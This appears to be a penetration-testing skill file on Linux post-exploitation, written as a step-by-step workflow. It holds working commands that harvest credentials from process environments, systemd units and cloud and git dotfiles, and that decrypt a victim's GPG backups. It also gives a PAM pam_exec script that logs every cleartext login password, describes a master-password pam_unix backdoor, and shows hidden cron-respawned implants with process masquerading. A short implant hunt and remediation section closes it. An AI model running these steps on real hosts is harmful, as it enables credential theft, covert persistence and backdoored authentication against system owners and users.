name: performing-linux-post-exploitation description: Post-exploitation on Linux during authorized engagements — credential harvesting from process environments, systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption, and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them. domain: cybersecurity subdomain: linux-hardening tags:
- penetration-testing
- linux
- post-exploitation
- persistence
- credential-access version: '1.0' author: xalgorix license: Apache-2.0
Performing Linux Post-Exploitation
When to Use
- After obtaining a foothold (especially root) on a Linux host during an authorized engagement
- When the objective includes lateral movement, credential access, or demonstrating persistence
- When harvesting secrets to pivot to other hosts, cloud accounts, or internal services
- During red-team exercises that require stealthy, detectable-only-on-purpose persistence
- When performing blue-team-style hunts for existing implants on a compromised host
Critical: Techniques Most Often Missed
Operators grab ~/.ssh and shell history and move on. The richest reusable credentials live in process environments, systemd units, and app dotfiles.
- Secrets in process environments. Service processes inherit DB URIs, admin creds, API keys.
- How to CONFIRM:
tr '\0' '\n' </proc/<PID>/environshows values likeGF_SECURITY_ADMIN_PASSWORD=...; reuse them against SSH/other services.
- How to CONFIRM:
- Credentials baked into systemd unit files.
Environment=lines carry Basic-Auth and DB passwords.- How to CONFIRM:
grep -R '^Environment=' /etc/systemd/system /lib/systemd/systemreturnsBASIC_AUTH_PWD=...that often works on the web panel and SSH.
- How to CONFIRM:
- App dotfiles beyond SSH/history.
.aws/credentials,.kube/config,.docker/config.json,.netrc,.git-credentials.- How to CONFIRM:
grep -RInE 'password|token|aws_secret' ~/.aws ~/.kube ~/.docker ~/.netrc 2>/dev/nullreturns live tokens.
- How to CONFIRM:
- GPG keyring relocation to decrypt loot. Permission/lock errors on the original homedir are bypassed by copying the keyring.
- How to CONFIRM:
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d secrets.gpgsucceeds where the in-place decrypt failed with "unsafe ownership on homedir".
- How to CONFIRM:
- PAM credential capture / backdoor.
pam_exec.sologs every plaintext password; a patchedpam_unix.soaccepts a master password.- How to CONFIRM: after adding the
pam_exec.soline, a fresh login writes the cleartext password to/var/log/toomanysecrets.log.
- How to CONFIRM: after adding the
- Passive BPF backdoors with no listening port.
netstat/ss/nmaplook clean; the implant filters traffic in-kernel.- How to CONFIRM (hunt):
ss -0pb | egrep -i 'packet|raw'reveals raw/packet sockets with attached filters owned by oddly-named processes.
- How to CONFIRM (hunt):
Workflow
Step 1: Harvest Credentials from Process Environments
env ; printenv # your own process
tr '\0' '\n' < /proc/<PID>/environ # another process
strings -z /proc/<PID>/environ # fallback
tr '\0' '\n' < /proc/1/environ # PID 1 (containers)
# Look for: DB URIs, API keys, SMTP/OAuth secrets, GF_SECURITY_ADMIN_*, proxy/TLS overrides
Step 2: Pull Secrets from systemd Units and Dotfiles
ls -la /etc/systemd/system /lib/systemd/system
sudo grep -R '^Environment=.*' /etc/systemd/system /lib/systemd/system 2>/dev/null
# User credential stores and history files
ls -la ~ | grep -iE 'history|credential|token|key|secret'
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
# Also: ~/.local/share/keyrings/, ~/.mysql_history, ~/.psql_history
Step 3: Decrypt GPG Loot via Relocated Keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# If private-keys-v1.d holds the secret key, decryption proceeds without a passphrase
Step 4: PAM Credential Capture (logging plaintext passwords)
# Log date, $PAM_USER, the password from stdin, and $PAM_RHOST on every auth
cat > /usr/local/bin/toomanysecrets.sh <<'EOF'
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
EOF
chmod 700 /usr/local/bin/toomanysecrets.sh
# Append to /etc/pam.d/common-auth:
# auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
Step 5: PAM Backdoor (master password)
A patched pam_unix.so grants auth when a predefined password is supplied, otherwise it falls through to normal verification. The compiled library replaces the system pam_unix.so and works across login/ssh/sudo/su. Automate with linux-pam-backdoor.
Step 6: Establish Stealthy Persistence
# Multi-path implant + cron respawn, single-instance loopback "mutex"
for d in /tmp /var/tmp /dev/shm /run/lock; do cp implant "$d/.s" 2>/dev/null; done
(crontab -l 2>/dev/null; echo '*/5 * * * * /tmp/.s') | crontab -
# Process masquerading: prctl(PR_SET_NAME,"init") + overwrite argv[0] so ps/cmdline lie
Step 7: Hunt for Existing Implants (blue-team validation)
# Raw/packet sockets + attached BPF filters (portless backdoors)
ss -0pb | egrep -i 'packet|raw' ; cat /proc/net/packet
# Process name vs real exe mismatch, deleted/fileless exes
for p in /proc/[0-9]*; do exe=$(readlink "$p/exe" 2>/dev/null);
cmd=$(tr '\0' ' ' <"$p/cmdline" 2>/dev/null);
[ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"; done \
| egrep -i 'agetty|smartd|init|dockerd'
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
grep -RInE 'bpfd|dockerd|/dev/shm|/var/tmp' /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
Key Concepts
| Concept | Description |
|---|---|
| Environment credential leak | Secrets passed via env are inherited by children and any spawned shell |
systemd Environment= |
Credentials embedded directly in unit files, often root-run web panels |
| PAM | Pluggable Authentication Modules; pam_exec.so runs scripts, pam_unix.so checks passwords |
| GNUPGHOME relocation | Pointing GPG at a writable copy of a keyring to bypass homedir permission/lock errors |
| Process masquerading | prctl(PR_SET_NAME) + argv[0] overwrite to display a benign name in ps/proc |
| BPF passive backdoor | Kernel socket filter that triggers a shell only on a magic packet — no open port |
| Single-instance mutex | Implant binds a fixed loopback port and exits if bind fails, preventing duplicates |
Tools & Systems
| Tool | Purpose |
|---|---|
| /proc/ |
Read another process's environment for inherited secrets |
| pam_exec.so | Run an arbitrary script during authentication (credential capture) |
| linux-pam-backdoor | Automates patching pam_unix.so with a master password |
| gpg (GNUPGHOME) | Decrypt loot with a relocated victim keyring |
| pspy | Observe cron/systemd activity to find credential-bearing jobs |
| ss / bpftool | Detect raw/packet sockets and baseline BPF usage when hunting implants |
Common Scenarios
Scenario 1: Grafana env creds reuse
A Grafana process exposes GF_SECURITY_ADMIN_PASSWORD in /proc/<pid>/environ. The same password works for SSH on the host, enabling a clean pivot.
Scenario 2: systemd Basic-Auth leak
grep -R '^Environment=' reveals BASIC_AUTH_USER=root / BASIC_AUTH_PWD=... in a crontab-ui unit running as root, unlocking the admin web panel.
Scenario 3: GPG-protected backup
A .gpg backup cannot be decrypted in place due to homedir permissions. Copying ~/.gnupg into /dev/shm and setting GNUPGHOME decrypts the secrets.
Scenario 4: PAM password capture for persistence
Adding a pam_exec.so line to common-auth logs every cleartext login password to a file, harvesting admin credentials as they authenticate.
Output Format
## Post-Exploitation Finding
**Activity**: Credential Harvesting & Persistence
**Severity**: High
**Host**: app01 (root access obtained)
### Credentials Recovered
| Source | Secret | Reuse |
|--------|--------|-------|
| /proc/812/environ | DB URI + password | psql to internal DB |
| systemd unit crontab-ui.service | BASIC_AUTH_PWD | web panel + SSH on app01 |
| ~/.aws/credentials | AWS access/secret key | AWS account access |
### Persistence Demonstrated (authorized)
- pam_exec.so line in /etc/pam.d/common-auth logging plaintext logins
- cron respawn entry: */5 * * * * /tmp/.s (removed at end of engagement)
### Detection Notes
ss -0pb showed no rogue raw/packet sockets; process-name vs exe audit clean.
### Recommendation
1. Move secrets out of env / unit files into a secret manager; rotate exposed creds
2. Review /etc/pam.d/* and pam module integrity; alert on pam_exec additions
3. Restrict /proc visibility (hidepid=2) and dotfile permissions
4. Monitor for raw/packet sockets, deleted exes, and process-name/exe mismatches